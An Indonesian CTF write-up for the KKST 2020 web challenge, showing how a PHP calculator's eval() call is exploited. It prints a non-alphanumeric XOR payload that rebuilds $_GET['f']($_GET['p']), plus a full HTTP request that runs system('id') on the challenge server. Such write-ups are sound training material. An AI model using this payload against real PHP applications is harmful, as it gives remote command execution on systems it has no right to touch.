[KKST 2020] Siapa juga gak bisa matematika 3?

ctf, web

Diberikan soal dan sebuah website tools kalkulator

Soal

Seperti kalkulator pada umumnya, kita dapat melakukan operasi kalkulasi matematika yang dikirimkan melalui method POST ke file api.php

api.php

Lalu dilakukan percobaan untuk mendapatkan clue bagaimana kalkulator ini bekerja. Ternyata saat ditambahkan petik satu (') pada input, website akan mengembalikan response error seperti berikut

Error

Error tersebut adalah error pada bahasa PHP yang menandakan syntax error pada parsing di function eval()

Adapun penjelasan function eval() pada PHP sebagai berikut

eval
eval — Evaluate a string as PHP code Evaluates the given code as PHP.

Caution The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

Yap, function ini sangat berbahaya karena akan mengeksekusi input dari user sebagai PHP code. Tetapi tidak semudah itu, input tidak menerima huruf alphabet sehingga kita harus merancang payload non-alphanumeric untuk memanfaatkan eval() function tersebut.

Karena saya bukanlah heker yang handal dalam merancang payload, saya googling untuk mencari payload non-alphanumeric tersebut.
Akhirnya saya ketemu satu payload non-alphanumeric pada halaman ini.

Payload:

<?php
 
  $_ = "]" ^ ";"; $__ = "." ^ "^";
  $___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");
  ${$___}[$_](${$___}[$__]);

  // ${$___}[$_] = $_GET['f'] 
  // (${$___}[$__]) = ($_GET['p'])

  // $_GET['f']($_GET['p'])
?>  

Jadi pada payload diatas intinya kita dapat memanggil sebuah function untuk dieksekusi yang dapat dikontrol dari GET parameter f dan p. Sehingga dapat dilakukan Remote Command Execution (RCE) dengan request berikut:

POST /api.php?f=system&p=id HTTP/1.1
Host: 140.82.48.126:20002
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-type: application/json
Upgrade-Insecure-Requests: 1

{"eq": "$_ = ']' ^ ';'; $__ = '.' ^ '^'; $___ = ('|' ^ '#') . (':' ^ '}') . ('~' ^ ';') . ('{' ^ '/'); ${$___}[$_](${$___}[$__]);"}

Request diatas akan menjalakan code berikut system('id')

RCE

Tinggal cari flagnya :D

flag

KKST2020{WOWOWOWOWOWOWOWOWO_hacker}